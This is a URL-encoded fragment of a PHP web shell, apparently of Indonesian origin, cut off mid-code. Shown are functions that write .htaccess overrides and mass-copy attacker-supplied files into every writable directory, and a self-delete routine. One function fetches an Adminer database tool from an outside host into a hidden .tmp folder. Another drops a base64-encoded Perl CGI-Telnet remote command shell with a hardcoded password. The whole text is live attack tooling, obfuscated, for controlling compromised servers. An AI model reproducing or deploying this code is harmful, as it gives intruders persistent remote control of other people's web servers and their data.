p%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22ht.php%22%3B%20%24mass%5fscript%20%3D%20%22PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL3hueHguY28ud3MvbWVraS5jc3MiPgo8dGl0bGU%2BTWFzcyBQdXQgPD89Ilx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyI%2FPiB0byBhbGwgZGlyZWN0b3JpZXM8L3RpdGxlPgo8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc%2BCjxmb3JtIG1ldGhvZD0nUE9TVCc%2BIAogICAgPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic%2BPC9pPiBEaXJlY3Rvcnk6CiAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nPD89Z2V0Y3dkKCk7Pz4nPgogICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc%2BPC9pPiBJc2kgPD89Ilx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyI%2FPiBueWE6CiAgICA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzcnIG5hbWU9J3NjcmlwdCcgcGxhY2Vob2xkZXI9J0FsbG93IGZyb20gYWxsJz48L3RleHRhcmVhPgogICAgPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KICAgICAgICA8aW5wdXQgY2xhc3M9J2J0biBidG4tZGFyayBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdPSyAhJz4KICAgIDwvZGl2Pgo8L2Zvcm0%2BCjwvZGl2PgoKPD9waHAKaWYoaXNzZXQoJF9QT1NUWydzdGFydCddKSl7Ci8vIERlZmluZSB0aGUgdGV4dCB0byB3cml0ZSB0byB0aGUgZmlsZQokdGV4dCA9ICRfUE9TVFsnc2NyaXB0J107CgovLyBEZWZpbmUgdGhlIGZ1bmN0aW9uIHRvIHdyaXRlIHRoZSBmaWxlIHRvIGRpcmVjdG9yaWVzCmZ1bmN0aW9uIHdyaXRlVG9Xcml0YWJsZURpcmVjdG9yaWVzKCRkaXIsICRmaWxlLCAkdGV4dCkgewogICAgLy8gQ2hlY2sgaWYgdGhlIGRpcmVjdG9yeSBhbmQgZmlsZSBhcmUgd3JpdGFibGUKICAgICRmaWxlcGF0aCA9ICIkZGlyLyRmaWxlIjsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSAmJiAhZmlsZV9leGlzdHMoJGZpbGVwYXRoKSB8fCBpc193cml0YWJsZSgkZmlsZXBhdGgpKSB7CiAgICAgICAgLy8gV3JpdGUgdGhlIHRleHQgdG8gdGhlIGZpbGUgaW4gdGhlIGN1cnJlbnQgZGlyZWN0b3J5CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlcGF0aCwgInciKTsKICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJHRleHQpOwogICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKCiAgICAgICAgLy8gR2V0IGEgbGlzdCBvZiBhbGwgc3ViZGlyZWN0b3JpZXMKICAgICAgICAkZGlycyA9IGFycmF5X2ZpbHRlcihnbG9iKCIkZGlyLyoiKSwgJ2lzX2RpcicpOwoKICAgICAgICAvLyBSZWN1cnNpdmVseSB3cml0ZSB0aGUgZmlsZSB0byBlYWNoIHdyaXRhYmxlIHN1YmRpcmVjdG9yeQogICAgICAgIGZvcmVhY2ggKCRkaXJzIGFzICRzdWJkaXIpIHsKICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRzdWJkaXIpKSB7CiAgICAgICAgICAgICAgICBlY2hvICJbPGdyPjxpIGNsYXNzPSdiaSBiaS1jaGVjay1hbGwnPjwvaT48L2dyPl0mbmJzcDskc3ViZGlyLyRmaWxlPGJyPiI7CiAgICAgICAgICAgICAgICB3cml0ZVRvV3JpdGFibGVEaXJlY3Rvcmllcygkc3ViZGlyLCAkZmlsZSwgJHRleHQpOwogICAgICAgICAgICB9IGVsc2V7CiAgICAgICAgICAgICAgICBlY2hvICJbPHJkPiZuYnNwO1gmbmJzcDs8L3JkPl0mbmJzcDskc3ViZGlyLyRmaWxlPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCi8vIENhbGwgdGhlIGZ1bmN0aW9uIHRvIHdyaXRlIHRoZSBmaWxlIHRvIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgc3ViZGlyZWN0b3JpZXMKd3JpdGVUb1dyaXRhYmxlRGlyZWN0b3JpZXMoJF9QT1NUWydkX2RpciddLCAiXHgyRVx4NjhceDc0XHg2MVx4NjNceDYzXHg2NVx4NzNceDczIiwgJHRleHQpOwp9Cj8%2B%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fht.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSelfRemove%28%29%20%7B%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22yes%22%29%20%7B%20if%20%28%40unlink%28preg%5freplace%28%22!%5C%28%5Cd%2B%5C%29%5Cs.%2a!%22%2C%20%22%22%2C%20%5f%5fFILE%5f%5f%29%29%29%20%7B%20die%28%22Shell%20has%20been%20removed%22%29%3B%20%7D%20else%20%7B%20echo%20%22unlink%20error!%22%3B%20%7D%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20!%3D%20%22yes%22%29%20%7B%20hardHeader%28%29%3B%20%7D%20echo%20%27%3Ch1%3ESuicide%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3EReally%20want%20to%20remove%20the%20shell%3F%3Cbr%3E%3Ca%20href%3D%23%20onclick%3D%22g%28null%2Cnull%2C%5C%27yes%5C%27%29%22%3EYes%3C%2Fa%3E%3C%2Fdiv%3E%27%3B%20hardFooter%28%29%3B%20%7D%20function%20actionInfect%28%29%20%7B%20hardHeader%28%29%3B%20%24full%20%3D%20str%5freplace%28%24%5fSERVER%5B%22DOCUMENT%5fROOT%22%5D%2C%20%22%22%2C%20%24dir%29%3B%20function%20adminer%28%24url%2C%20%24isi%29%20%7B%20%24fp%20%3D%20fopen%28%24isi%2C%20%22w%22%29%3B%20%24ch%20%3D%20curl%5finit%28%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fURL%2C%20%24url%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fBINARYTRANSFER%2C%20true%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fRETURNTRANSFER%2C%20true%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fSSL%5fVERIFYPEER%2C%20false%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fFILE%2C%20%24fp%29%3B%20return%20curl%5fexec%28%24ch%29%3B%20curl%5fclose%28%24ch%29%3B%20fclose%28%24fp%29%3B%20ob%5fflush%28%29%3B%20flush%28%29%3B%20%7D%20mkdir%28%22.tmp%22%29%3B%20if%20%28file%5fexists%28%22.tmp%2Fadminer.php%22%29%29%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dwhite%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%27%24full%2F.tmp%2Fadminer.php%27%20target%3D%27%5fblank%27%3E-%3E%20adminer%20login%20%3C-%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20else%20%7B%20if%20%28%20adminer%28%20%22https%3A%2F%2Fxsec-1337.web.app%2F%40Files%2Fadminer-4.8.1.php%22%2C%20%22.tmp%2Fadminer.php%22%20%29%20%29%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dwhite%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%27%24full%2F.tmp%2Fadminer.php%27%20target%3D%27%5fblank%27%3E-%3E%20adminer%20login%20%3C-%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20else%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dred%3Egagal%20buat%20file%20adminer%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20%7D%20hardFooter%28%29%3B%20%7D%20function%20actionBruteforce%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ECgi%20Telnet%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%5fcgi%22%2C%200755%29%3B%20chdir%28%22.tmp%5fcgi%22%29%3B%20%24file%5fcgi%20%3D%20%22cgi.hex%22%3B%20%24memeg%20%3D%20%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%3B%20%24isi%5fhtcgi%20%3D%20%22OPTIONS%20Indexes%20Includes%20ExecCGI%20FollowSymLinks%20%5Cn%20AddType%20application%2Fx-httpd-cgi%20.hex%20%5Cn%20AddHandler%20cgi-script%20.hex%20%5Cn%20AddHandler%20cgi-script%20.hex%22%3B%20%24htcgi%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20%24cgi%5fscript%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc%2BQ0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI%2BJjEgMT4mMiIgOiAiIDE%2BJjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1%2BIHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1%2BIHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1%2BIHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1%2BIHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI%2BDQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8%2BPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s%2BPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic%2BPC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ%2BIjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNr